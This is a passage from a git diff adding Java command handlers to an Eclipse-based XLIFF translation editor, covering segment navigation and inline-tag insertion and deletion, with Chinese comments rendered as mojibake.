selectedRows[selectedRows.length - 1]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getNextUnapprovedSegmentIndex(lastSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸‹ä¸€ä¸ªæœªæ‰¹å‡†æ–‡æœ¬æ®µã€‚"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextUntranslatableHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextUntranslatableHandler.java new file mode 100644 index 0000000..18ae764 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextUntranslatableHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到下一ä¸å¯ç¿»è¯‘文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowNextUntranslatableHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int lastSelectedRow = selectedRows[selectedRows.length - 1]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getNextUntranslatableSegmentIndex(lastSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸‹ä¸€ä¸å¯ç¿»è¯‘文本段。"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextUntranslatedHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextUntranslatedHandler.java new file mode 100644 index 0000000..8588cbc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowNextUntranslatedHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到下一未翻译文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowNextUntranslatedHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int lastSelectedRow = selectedRows[selectedRows.length - 1]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getNextUntranslatedSegmentIndex(lastSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸‹ä¸€æœªç¿»è¯‘文本段。"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousFuzzyHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousFuzzyHandler.java new file mode 100644 index 0000000..1fd5276 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousFuzzyHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到上一模糊匹é…文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowPreviousFuzzyHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int firstSelectedRow = selectedRows[0]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getPreviousFuzzySegmentIndex(firstSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸Šä¸€æ¨¡ç³ŠåŒ¹é…文本段。"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousNoteHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousNoteHandler.java new file mode 100644 index 0000000..f8b0706 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousNoteHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到上一个带批注的文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowPreviousNoteHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int firstSelectedRow = selectedRows[0]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getPreviousNoteSegmentIndex(firstSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸Šä¸€ä¸ªå¸¦æ‰¹æ³¨çš„文本段。"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousSegmentHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousSegmentHandler.java new file mode 100644 index 0000000..17ce274 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousSegmentHandler.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 跳转到上一个文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowPreviousSegmentHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int firstSelectedRow = selectedRows[0]; + if (firstSelectedRow == 0) { + firstSelectedRow = 1; + } + xliffEditor.jumpToRow(firstSelectedRow - 1); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousUnapprovedHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousUnapprovedHandler.java new file mode 100644 index 0000000..b8decbf --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousUnapprovedHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到上一未批准文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowPreviousUnapprovedHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int firstSelectedRow = selectedRows[0]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getPreviousUnapprovedSegmentIndex(firstSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸Šä¸€æœªæ‰¹å‡†æ–‡æœ¬æ®µã€‚"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousUntranslatableHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousUntranslatableHandler.java new file mode 100644 index 0000000..e64b2da --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousUntranslatableHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到上一ä¸å¯ç¿»è¯‘文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowPreviousUntranslatableHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int firstSelectedRow = selectedRows[0]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getPreviousUntranslatableSegmentIndex(firstSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸Šä¸€ä¸å¯ç¿»è¯‘文本段。"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousUntranslatedHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousUntranslatedHandler.java new file mode 100644 index 0000000..3dbe5d9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/go/ShowPreviousUntranslatedHandler.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 转到上一未翻译文本段(此类未使用,因此未åšå›½é™…化) + * @author weachy + * @version + * @since JDK1.5 + */ +public class ShowPreviousUntranslatedHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int firstSelectedRow = selectedRows[0]; + XLFHandler handler = xliffEditor.getXLFHandler(); + + int row = handler.getPreviousUntranslatedSegmentIndex(firstSelectedRow); + if (row != -1) { + xliffEditor.jumpToRow(row); + } else { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + MessageDialog.openWarning(window.getShell(), "", "ä¸å­˜åœ¨ä¸Šä¸€æœªç¿»è¯‘文本段。"); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/AbstractInsertTagHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/AbstractInsertTagHandler.java new file mode 100644 index 0000000..1ab630a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/AbstractInsertTagHandler.java @@ -0,0 +1,78 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +import net.heartsome.cat.ts.ui.innertag.ISegmentViewer; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public abstract class AbstractInsertTagHandler extends AbstractHandler { + + /** å•å…ƒæ ¼æ ‡è®°å™¨ */ + protected StyledTextCellEditor cellEditor; + + /** ExecutionEvent 对象 */ + protected ExecutionEvent event; + + /** source 内部标记中的最大索引 */ + protected int sourceMaxTagIndex; + + protected ExecutionEvent getEvent() { + return event; + } + + public Object execute(ExecutionEvent event) throws ExecutionException { + this.event = event; + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof XLIFFEditorImplWithNatTable)) { + return null; // ä¸æ˜¯é’ˆå¯¹ XLIFFEditorImplWithNatTable 编辑器中的æ“作,则退出 + } + cellEditor = HsMultiActiveCellEditor.getFocusCellEditor(); + if(cellEditor == null){ + return null; + } +// ICellEditor iCellEditor = HsMultiActiveCellEditor.getTargetEditor().getCellEditor(); +// //ActiveCellEditor.getCellEditor(); +// if (!(iCellEditor instanceof StyledTextCellEditor)) { +// return null; // ä¸æ˜¯ StyledTextCellEditor 实例,则退出 +// } +// +// cellEditor = (StyledTextCellEditor) iCellEditor; + if (!cellEditor.isEditable()) { + cellEditor.showUneditableMessage(); // 显示ä¸å¯ç¼–辑æ示信æ¯ã€‚ + return null; // ä¸å¯ç¼–辑,则退出 + } + + ISegmentViewer segmentViewer = cellEditor.getSegmentViewer(); + int caretOffset = segmentViewer.getTextWidget().getCaretOffset(); // æ’å…¥ä½ç½® + if (caretOffset < 0) { + return null; // 文本框已ç»å…³é—­ï¼Œåˆ™é€€å‡º + } + + sourceMaxTagIndex = segmentViewer.getSourceMaxTagIndex(); // source 内部标记中的最大索引 + if (sourceMaxTagIndex <= 0) { // source 无内部标记。 + return null; + } + + int num = getTagNum(); + if (num < 0 || num > sourceMaxTagIndex) { + return null; + } + + cellEditor.getSegmentViewer().insertInnerTag(num, caretOffset); + return null; + } + + protected abstract int getTagNum(); +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/DeleteAllTagsHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/DeleteAllTagsHandler.java new file mode 100644 index 0000000..8f260f8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/DeleteAllTagsHandler.java @@ -0,0 +1,64 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 删除所有标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class DeleteAllTagsHandler extends AbstractHandler { + + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] rows = xliffEditor.getSelectedRows(); + if (rows.length == 0){ + return null; + } + HsMultiCellEditor targetCellEditor = HsMultiActiveCellEditor.getTargetEditor(); + StyledTextCellEditor cellEditor = targetCellEditor.getCellEditor(); + if(cellEditor == null || cellEditor.isClosed()){ + return null; + } + if(rows.length == 1){ + cellEditor.clearTags(); // 清除内部标记 + return null; + } else { + int activeEditRowIndex = targetCellEditor.getRowIndex(); + cellEditor.clearTags(); // 清除内部标记 + if(!xliffEditor.isHorizontalLayout()){ + activeEditRowIndex = activeEditRowIndex / 2; + } + // non active row + int[] nonActiveRows = new int[rows.length - 1]; + int i = 0; + for(int row : rows){ + if(row == activeEditRowIndex){ + continue; + } + nonActiveRows[i++] = row; + } + List rowIdList = new ArrayList(xliffEditor.getXLFHandler().getRowIds(rows)); + xliffEditor.getXLFHandler().removeAllTags(rowIdList); + xliffEditor.refresh(); + } + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/InsertNextTagHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/InsertNextTagHandler.java new file mode 100644 index 0000000..925cfaf --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/InsertNextTagHandler.java @@ -0,0 +1,60 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.ui.innertag.InnerTag; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.NatTableConstant; + +/** + * æ’入下一标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class InsertNextTagHandler extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + if (cellEditor.getCellType() == NatTableConstant.SOURCE) { // æ­¤æ“作是修改æºè¯­è¨€ï¼Œåˆ™é€€å‡ºã€‚ + return -1; + } + return getNextTagIndex(); // å¾—åˆ°æ ‡è®°å· + } + + private int getNextTagIndex() { + List currentInnerTag = cellEditor.getSegmentViewer().getCurrentInnerTags(); + // 按照标记索引从å°åˆ°å¤§å°†å½“å‰æ˜¾ç¤ºçš„内部标记排åºã€‚ + Collections.sort(currentInnerTag, new Comparator() { + public int compare(InnerTag o1, InnerTag o2) { + InnerTagBean bean1 = o1.getInnerTagBean(); + InnerTagBean bean2 = o2.getInnerTagBean(); + if (bean1.getIndex() != bean2.getIndex()) { + return bean1.getIndex() - bean2.getIndex(); + } else { + return bean1.getType().compareTo(bean2.getType()); + } + } + }); + + int index = 1; + for (InnerTag innerTag : currentInnerTag) { + if (innerTag.getInnerTagBean().getIndex() != index) { + break; + } else { + switch (innerTag.getInnerTagBean().getType()) { + case END: + case STANDALONE: + index++; + break; + default: + break; + } + } + } + // 如果超过了æºæ–‡æœ¬å†…部标记最大索引,则é‡ç½®ä¸º -1。 + return index <= sourceMaxTagIndex ? index : -1; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/InsertTagHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/InsertTagHandler.java new file mode 100644 index 0000000..6b9befb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/InsertTagHandler.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.handlers.HandlerUtil; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.TagNumberRequest; + +/** + * æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class InsertTagHandler extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + Shell shell = HandlerUtil.getActiveShell(getEvent()); + TagNumberRequest request = new TagNumberRequest(shell, sourceMaxTagIndex); + request.show(); + return request.getNumber(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler0.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler0.java new file mode 100644 index 0000000..28cacbc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler0.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler0 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 10; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler1.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler1.java new file mode 100644 index 0000000..084943a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler1.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler1 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 1; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler2.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler2.java new file mode 100644 index 0000000..814e5b9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler2.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags; + +/** + * 快速æ’入标记 + * @author weachy + * @version + * @since JDK1.5 + */ +public class QuickTagsHandler2 extends AbstractInsertTagHandler { + + @Override + protected int getTagNum() { + return 2; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler3.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler3.java new file mode 100644 index 0000000..5716b40 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/tags/QuickTagsHandler3.java @@ -0,0 +1,15 @@ +package 